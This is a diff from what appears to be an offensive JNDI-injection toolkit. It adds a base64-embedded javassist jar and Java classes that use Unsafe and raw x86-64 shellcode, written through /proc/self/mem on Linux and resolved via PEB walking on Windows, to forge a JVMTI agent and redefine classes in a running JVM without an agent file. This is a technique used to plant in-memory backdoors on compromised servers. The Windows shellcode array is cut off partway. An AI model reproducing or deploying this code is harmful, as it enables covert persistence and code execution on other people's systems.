UEsBAhQDCgAAAAgAAmzLPPiC24i2AQAA6AIAACIAAAAAAAAAAAAAAKSBeBYIAGphdmFzc2lzdC9TZXJpYWxWZXJzaW9uVUlEJDEuY2xhc3NQSwECFAMKAAAACAACbMs8Z41k+O0BAABaAwAAIgAAAAAAAAAAAAAApIFuGAgAamF2YXNzaXN0L1NlcmlhbFZlcnNpb25VSUQkMi5jbGFzc1BLAQIUAwoAAAAIAAJsyzzx2s95GwIAAJ0DAAAiAAAAAAAAAAAAAACkgZsaCABqYXZhc3Npc3QvU2VyaWFsVmVyc2lvblVJRCQzLmNsYXNzUEsBAhQDCgAAAAgAAmzLPClW5TYyCgAAchQAACAAAAAAAAAAAAAAAKSB9hwIAGphdmFzc2lzdC9TZXJpYWxWZXJzaW9uVUlELmNsYXNzUEsBAhQDCgAAAAgAAmzLPHHeRM7mAgAAkwUAABoAAAAAAAAAAAAAAKSBZicIAGphdmFzc2lzdC90b29scy9EdW1wLmNsYXNzUEsBAhQDCgAAAAgAAmzLPPLBNmm9AgAACQUAAB8AAAAAAAAAAAAAAKSBhCoIAGphdmFzc2lzdC90b29scy9mcmFtZWR1bXAuY2xhc3NQSwECFAMKAAAACAACbMs8W2njGnoBAADNAgAAMwAAAAAAAAAAAAAApIF+LQgAamF2YXNzaXN0L3Rvb2xzL3JlZmxlY3QvQ2Fubm90Q3JlYXRlRXhjZXB0aW9uLmNsYXNzUEsBAhQDCgAAAAgAAmzLPDakppd9AgAA/AUAADMAAAAAAAAAAAAAAKSBSS8IAGphdmFzc2lzdC90b29scy9yZWZsZWN0L0Nhbm5vdEludm9rZUV4Y2VwdGlvbi5jbGFzc1BLAQIUAwoAAAAIAAJsyzyqUUhCAAEAAJ8BAAA0AAAAAAAAAAAAAACkgRcyCABqYXZhc3Npc3QvdG9vbHMvcmVmbGVjdC9DYW5ub3RSZWZsZWN0RXhjZXB0aW9uLmNsYXNzUEsBAhQDCgAAAAgAAmzLPMxIDzJhDQAArxwAAC0AAAAAAAAAAAAAAKSBaTMIAGphdmFzc2lzdC90b29scy9yZWZsZWN0L0NsYXNzTWV0YW9iamVjdC5jbGFzc1BLAQIUAwoAAAAIAAJsyzzYshB5/gAAAIcBAAArAAAAAAAAAAAAAACkgRVBCABqYXZhc3Npc3QvdG9vbHMvcmVmbGVjdC9Db21waWxlZENsYXNzLmNsYXNzUEsBAhQDCgAAAAgAAmzLPHXpJUl9BgAAvAwAACYAAAAAAAAAAAAAAKSBXEIIAGphdmFzc2lzdC90b29scy9yZWZsZWN0L0NvbXBpbGVyLmNsYXNzUEsBAhQDCgAAAAgAA2zLPPClT8mmAgAADAUAACQAAAAAAAAAAAAAAKSBHUkIAGphdmFzc2lzdC90b29scy9yZWZsZWN0L0xvYWRlci5jbGFzc1BLAQIUAwoAAAAIAAJsyzwRiwTfrgAAAEIBAAAnAAAAAAAAAAAAAACkgQVMCABqYXZhc3Npc3QvdG9vbHMvcmVmbGVjdC9NZXRhbGV2ZWwuY2xhc3NQSwECFAMKAAAACAACbMs8txlS8hsHAADhEAAAKAAAAAAAAAAAAAAApIH4TAgAamF2YXNzaXN0L3Rvb2xzL3JlZmxlY3QvTWV0YW9iamVjdC5jbGFzc1BLAQIUAwoAAAAIAAJsyzzCvhRpkw8AAEohAAAoAAAAAAAAAAAAAACkgVlUCABqYXZhc3Npc3QvdG9vbHMvcmVmbGVjdC9SZWZsZWN0aW9uLmNsYXNzUEsBAhQDCgAAAAgAAmzLPBKIJ/ABAwAAnQYAACQAAAAAAAAAAAAAAKSBMmQIAGphdmFzc2lzdC90b29scy9yZWZsZWN0L1NhbXBsZS5jbGFzc1BLAQIUAwoAAAAIAAJsyzxQuRV4GQwAAH4YAAAmAAAAAAAAAAAAAACkgXVnCABqYXZhc3Npc3QvdG9vbHMvcm1pL0FwcGxldFNlcnZlci5jbGFzc1BLAQIUAwoAAAAIAAJsyzyUgcy1GAEAAKABAAAoAAAAAAAAAAAAAACkgdJzCABqYXZhc3Npc3QvdG9vbHMvcm1pL0V4cG9ydGVkT2JqZWN0LmNsYXNzUEsBAhQDCgAAAAgAAmzLPARzMcx/DAAAkBgAACgAAAAAAAAAAAAAAKSBMHUIAGphdmFzc2lzdC90b29scy9ybWkvT2JqZWN0SW1wb3J0ZXIuY2xhc3NQSwECFAMKAAAACAACbMs8W0uqG6cBAAAfAwAAMQAAAAAAAAAAAAAApIH1gQgAamF2YXNzaXN0L3Rvb2xzL3JtaS9PYmplY3ROb3RGb3VuZEV4Y2VwdGlvbi5jbGFzc1BLAQIU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amF2YXNzaXN0L3V0aWwvcHJveHkvUHJveHlPYmplY3QuY2xhc3NQSwECFAMKAAAACAACbMs8Nk2VA2oEAAB2CAAAMQAAAAAAAAAAAAAApIGPFwkAamF2YXNzaXN0L3V0aWwvcHJveHkvUHJveHlPYmplY3RJbnB1dFN0cmVhbS5jbGFzc1BLAQIUAwoAAAAIAAJsyzz2y5hlSgQAAA8IAAAyAAAAAAAAAAAAAACkgUgcCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9Qcm94eU9iamVjdE91dHB1dFN0cmVhbS5jbGFzc1BLAQIUAwoAAAAIAAJsyzwxUmWb1gEAAN0DAAA+AAAAAAAAAAAAAACkgeIgCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9SdW50aW1lU3VwcG9ydCREZWZhdWx0TWV0aG9kSGFuZGxlci5jbGFzc1BLAQIUAwoAAAAIAAJsyzyJTn6WgAkAAAMUAAApAAAAAAAAAAAAAACkgRQjCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9SdW50aW1lU3VwcG9ydC5jbGFzc1BLAQIUAwoAAAAIAAJsyzzjhk1vjwEAAJUCAAAsAAAAAAAAAAAAAACkgdssCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkMS5jbGFzc1BLAQIUAwoAAAAIAAJsyzwPVUv7kQEAAJ8CAAAsAAAAAAAAAAAAAACkgbQuCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkMi5jbGFzc1BLAQIUAwoAAAAIAAJsyzwRwR6b8wEAAJcDAAAsAAAAAAAAAAAAAACkgY8wCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkMy5jbGFzc1BLAQIUAwoAAAAIAAJsyzw1dWL71AEAADwDAAAsAAAAAAAAAAAAAACkgcwyCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkNC5jbGFzc1BLAQIUAwoAAAAIAAJsyzwsJgZpsAEAAOkCAAAsAAAAAAAAAAAAAACkgeo0CQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkNS5jbGFzc1BLAQIUAwoAAAAIAAJsyzwBdac93wEAAHgDAAAsAAAAAAAAAAAAAACkgeQ2CQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkNi5jbGFzc1BLAQIUAwoAAAAIAAJsyzyTEpVpQgUAAJsNAAAqAAAAAAAAAAAAAACkgQ05CQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMuY2xhc3NQSwECFAMKAAAACAACbMs8Ojf05yYCAAAZBAAALAAAAAAAAAAAAAAApIGXPgkAamF2YXNzaXN0L3V0aWwvcHJveHkvU2VyaWFsaXplZFByb3h5JDEuY2xhc3NQSwECFAMKAAAACAACbMs8cKoBVgcHAABRDgAAKgAAAAAAAAAAAAAApIEHQQkAamF2YXNzaXN0L3V0aWwvcHJveHkvU2VyaWFsaXplZFByb3h5LmNsYXNzUEsBAhQDCgAAAAgAAmzLPJiNBCzsAAAAWQEAABwAAAAAAAAAAAAAAKSBVkgJAGphdmFzc2lzdC91dGlsL1RyaWdnZXIuY2xhc3NQSwECFAMKAAAAAAANbMs8AAAAAAAAAAAAAAAADwAAAAAAAAAAABAA7UF8SQkATUVUQS1JTkYvbWF2ZW4vUEsBAhQDCgAAAAAADWzLPAAAAAAAAAAAAAAAABkAAAAAAAAAAAAQAO1BqUkJAE1FVEEtSU5GL21hdmVuL2phdmFzc2lzdC9QSwECFAMKAAAAAAANbMs8AAAAAAAAAAAAAAAAIwAAAAAAAAAAABAA7UHgSQkATUVUQS1JTkYvbWF2ZW4vamF2YXNzaXN0L2phdmFzc2lzdC9QSwECFAMKAAAACAD5a8s82kx7wG0GAADxFwAAKgAAAAAAAAAAAAAApIEhSgkATUVUQS1JTkYvbWF2ZW4vamF2YXNzaXN0L2phdmFzc2lzdC9wb20ueG1sUEsBAhQDCgAAAAgADWzLPOQooFthAAAAawAAADEAAAAAAAAAAAAAAKSB1lAJAE1FVEEtSU5GL21hdmVuL2phdmFzc2lzdC9qYXZhc3Npc3QvcG9tLnByb3BlcnRpZXNQSwUGAAAAAIYBhgGYggAAhlEJAAAA"; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/Agent/AgentNoFileForLinux.java b/src/main/java/com/qi4l/jndi/template/Agent/AgentNoFileForLinux.java new file mode 100644 index 00000000..c6ea9e82 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Agent/AgentNoFileForLinux.java @@ -0,0 +1,262 @@ +package com.qi4l.jndi.template.Agent; + +import sun.misc.Unsafe; + +import java.io.BufferedReader; +import java.io.FileReader; +import java.io.IOException; +import java.io.RandomAccessFile; +import java.lang.instrument.ClassDefinition; +import java.lang.reflect.Constructor; +import java.lang.reflect.Method; +import java.nio.ByteBuffer; +import java.nio.ByteOrder; + +public class AgentNoFileForLinux { + public static Unsafe unsafe = getUnsafe(); + + private static final int SHT_DYNSYM = 11; + + private static final int STT_FUNC = 2; + + private static final int STT_GNU_IFUNC = 10; + + private static int ELF_ST_TYPE(int x) { + return (x & 0xf); + } + + public static sun.misc.Unsafe getUnsafe() { + sun.misc.Unsafe unsafe = null; + try { + if (Class.forName(new Throwable().getStackTrace()[1].getClassName()).getClassLoader() == null) { + unsafe = sun.misc.Unsafe.getUnsafe(); + } + } catch (ClassNotFoundException ignored) { + } + + if (unsafe == null) { + try { + Class gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor"); + java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception ignored) { + } + } + + if (unsafe == null) { + try { + Class nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess"); + java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception ignored) { + } + } + + if (unsafe == null) { + try { + java.lang.reflect.Field theUnsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + unsafe = (sun.misc.Unsafe) theUnsafeField.get(null); + } catch (Exception ignored) { + } + } + + return unsafe; + } + + public static void redefineClasses(String className, byte[] classBody) throws Exception { +// Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); +// Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF"); +// field1.setAccessible(true); +// Field modifiersField = Field.class.getDeclaredField("modifiers"); +// modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL); +// field1.setBoolean(null, true); + + FileReader fin = new FileReader("/proc/self/maps"); + BufferedReader reader = new BufferedReader(fin); + String line; + long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0; + while ((line = reader.readLine()) != null) { + String[] splits = line.trim().split(" "); + if (line.endsWith("libjava.so") && RandomAccessFile_length == 0) { + String[] addr_range = splits[0].split("-"); + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; + RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase); + } else if (line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) { + String[] addr_range = splits[0].split("-"); + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; + JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase); + } + + if (JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0) + break; + } + fin.close(); + + //修改Java_java_io_RandomAccessFile_open0的native代码,调用JNI_GetCreatedJavaVMs获取JavaVM,再通过JavaVM获取jvmtienv + RandomAccessFile fout = new RandomAccessFile("/proc/self/mem", "rw"); + //RSP 16字节对齐 + byte[] stack_align = {0x55, 0x48, (byte) 0x89, (byte) 0xe5, 0x48, (byte) 0xc7, (byte) 0xc0, 0xf, 0, 0, 0, 0x48, (byte) 0xf7, (byte) 0xd0}; + + byte[] movabs_rax = {0x48, (byte) 0xb8}; + ByteBuffer buffer = ByteBuffer.allocate(Long.SIZE / Byte.SIZE); + buffer.order(ByteOrder.LITTLE_ENDIAN); + buffer.putLong(0, JNI_GetCreatedJavaVMs); + + byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48, + (byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10, + (byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10, + 0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte) 0xC9, (byte) 0xC3}; + + int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length; + long landingpad = RandomAccessFile_length; + + byte[] backup = new byte[shellcode_len]; + fout.seek(landingpad); + fout.read(backup); + + fout.seek(landingpad); + fout.write(stack_align); + fout.write(movabs_rax); + fout.write(buffer.array()); + fout.write(b); + fout.close(); + + long native_jvmtienv = fout.length(); //触发执行 +// System.out.printf("native_jvmtienv %x\n", native_jvmtienv); + + //恢复代码 + fout = new RandomAccessFile("/proc/self/mem", "rw"); + fout.seek(RandomAccessFile_length); + fout.write(backup); + fout.close(); + + //libjvm.so的jvmti_RedefineClasses函数会校验if ( (*((_BYTE *)jvmtienv + 361) & 2) != 0 ) + unsafe.putByte(native_jvmtienv + 361, (byte) 2); + //伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用 + long JPLISAgent = unsafe.allocateMemory(0x1000); + unsafe.putLong(JPLISAgent + 8, native_jvmtienv); + + redefineClasses(className, classBody, JPLISAgent); + fout.getFD(); + + } + + static long find_symbol(String elfpath, String sym, long libbase) throws IOException { + long func_ptr = 0; + RandomAccessFile fin = new RandomAccessFile(elfpath, "r"); + + byte[] e_ident = new byte[16]; + fin.read(e_ident); + short e_type = Short.reverseBytes(fin.readShort()); + short e_machine = Short.reverseBytes(fin.readShort()); + int e_version = Integer.reverseBytes(fin.readInt()); + long e_entry = Long.reverseBytes(fin.readLong()); + long e_phoff = Long.reverseBytes(fin.readLong()); + long e_shoff = Long.reverseBytes(fin.readLong()); + int e_flags = Integer.reverseBytes(fin.readInt()); + short e_ehsize = Short.reverseBytes(fin.readShort()); + short e_phentsize = Short.reverseBytes(fin.readShort()); + short e_phnum = Short.reverseBytes(fin.readShort()); + short e_shentsize = Short.reverseBytes(fin.readShort()); + short e_shnum = Short.reverseBytes(fin.readShort()); + short e_shstrndx = Short.reverseBytes(fin.readShort()); + + int sh_name = 0; + int sh_type = 0; + long sh_flags = 0; + long sh_addr = 0; + long sh_offset = 0; + long sh_size = 0; + int sh_link = 0; + int sh_info = 0; + long sh_addralign = 0; + long sh_entsize = 0; + + for (int i = 0; i < e_shnum; ++i) { + fin.seek(e_shoff + i * 64); + sh_name = Integer.reverseBytes(fin.readInt()); + sh_type = Integer.reverseBytes(fin.readInt()); + sh_flags = Long.reverseBytes(fin.readLong()); + sh_addr = Long.reverseBytes(fin.readLong()); + sh_offset = Long.reverseBytes(fin.readLong()); + sh_size = Long.reverseBytes(fin.readLong()); + sh_link = Integer.reverseBytes(fin.readInt()); + sh_info = Integer.reverseBytes(fin.readInt()); + sh_addralign = Long.reverseBytes(fin.readLong()); + sh_entsize = Long.reverseBytes(fin.readLong()); + if (sh_type == SHT_DYNSYM) { + break; + } + } + + int symtab_shdr_sh_link = sh_link; + long symtab_shdr_sh_size = sh_size; + long symtab_shdr_sh_entsize = sh_entsize; + long symtab_shdr_sh_offset = sh_offset; + + fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize); + sh_name = Integer.reverseBytes(fin.readInt()); + sh_type = Integer.reverseBytes(fin.readInt()); + sh_flags = Long.reverseBytes(fin.readLong()); + sh_addr = Long.reverseBytes(fin.readLong()); + sh_offset = Long.reverseBytes(fin.readLong()); + sh_size = Long.reverseBytes(fin.readLong()); + sh_link = Integer.reverseBytes(fin.readInt()); + sh_info = Integer.reverseBytes(fin.readInt()); + sh_addralign = Long.reverseBytes(fin.readLong()); + sh_entsize = Long.reverseBytes(fin.readLong()); + + long symstr_shdr_sh_offset = sh_offset; + + long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size / symtab_shdr_sh_entsize : 0; + for (long i = 0; i < cnt; ++i) { + fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize * i); + int st_name = Integer.reverseBytes(fin.readInt()); + byte st_info = fin.readByte(); + byte st_other = fin.readByte(); + short st_shndx = Short.reverseBytes(fin.readShort()); + long st_value = Long.reverseBytes(fin.readLong()); + long st_size = Long.reverseBytes(fin.readLong()); + if (st_value == 0 + || st_name == 0 + || (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC)) { + continue; + } + + fin.seek(symstr_shdr_sh_offset + st_name); + String name = ""; + byte ch = 0; + while ((ch = fin.readByte()) != 0) { + name += (char) ch; + } + + if (sym.equals(name)) { + func_ptr = libbase + st_value; + break; + } + } + + fin.close(); + return func_ptr; + } + + public static void redefineClasses(String className, byte[] classBody, long JPLISAgent) { + try { + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + constructor.setAccessible(true); + Object inst = constructor.newInstance(JPLISAgent, true, false); + + ClassDefinition definition = new ClassDefinition(Class.forName(className, false, Thread.currentThread().getContextClassLoader()), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", new Class[]{ClassDefinition[].class}); + redefineClazz.invoke(inst, new Object[]{new ClassDefinition[]{definition}}); + } catch (Throwable error) { + error.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/Agent/AgentNoFileForWindows.java b/src/main/java/com/qi4l/jndi/template/Agent/AgentNoFileForWindows.java new file mode 100644 index 00000000..286e5317 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Agent/AgentNoFileForWindows.java @@ -0,0 +1,151 @@ +package com.qi4l.jndi.template.Agent; + +import sun.misc.Unsafe; + +import java.lang.instrument.ClassDefinition; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.HashMap; +import java.util.Map; + +public class AgentNoFileForWindows { + public static Map MAP = new HashMap(); + + // public static int pointerLength = Long.SIZE / Byte.SIZE; + public static int pointerLength = System.getProperty("os.arch").contains("x86") ? 4 : 8; + + public static Unsafe unsafe = getUnsafe(); + + public static sun.misc.Unsafe getUnsafe() { + sun.misc.Unsafe unsafe = null; + try { + if (Class.forName(new Throwable().getStackTrace()[1].getClassName()).getClassLoader() == null) { + unsafe = sun.misc.Unsafe.getUnsafe(); + } + } catch (ClassNotFoundException ignored) { + } + + if (unsafe == null) { + try { + Class gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor"); + java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception ignored) { + } + } + + if (unsafe == null) { + try { + Class nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess"); + java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception ignored) { + } + } + + if (unsafe == null) { + try { + java.lang.reflect.Field theUnsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + unsafe = (sun.misc.Unsafe) theUnsafeField.get(null); + } catch (Exception ignored) { + } + } + + return unsafe; + } + + public static void redefineClasses(String className, byte[] classBody) throws Exception { + Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); + Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF"); + field1.setAccessible(true); + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL); + field1.setBoolean(null, true); + + //伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用 + long JPLISAgent = unsafe.allocateMemory(0x1000); + + byte[] buf = new byte[]{(byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xE4, (byte) 0xF0, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x65, (byte) 0x48, (byte) 0x8B, (byte) 0x41, (byte) 0x60, (byte) 0x48, (byte) 0x8B, (byte) 0x40, (byte) 0x18, (byte) 0x48, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x96, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x8B, (byte) 0x58, (byte) 0x20, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x44, (byte) 0x8B, (byte) 0x43, (byte) 0x3C, (byte) 0x4C, (byte) 0x89, (byte) 0xC2, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x44, (byte) 0x8B, (byte) 0x82, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x01, (byte) 0xD8, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x49, (byte) 0xB9, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x48, (byte) 0xFF, (byte) 0xC1, (byte) 0x48, (byte) 0x31, (byte) 0xC0, (byte) 0x8B, (byte) 0x04, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xD8, (byte) 0x4C, (byte) 0x39, (byte) 0x08, (byte) 0x75, (byte) 0xEF, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x24, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x1C, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xD2, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x48, (byte) 0x89, (byte) 0xD7, (byte) 0xB9, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x48, (byte) 0x89, (byte) 0xD9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x48, (byte) 0x89, (byte) 0xC6, (byte) 0xB9, (byte) 0x6C, (byte) 0x6C, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0xB9, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD6, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x49, (byte) 0x89, (byte) 0xC7, 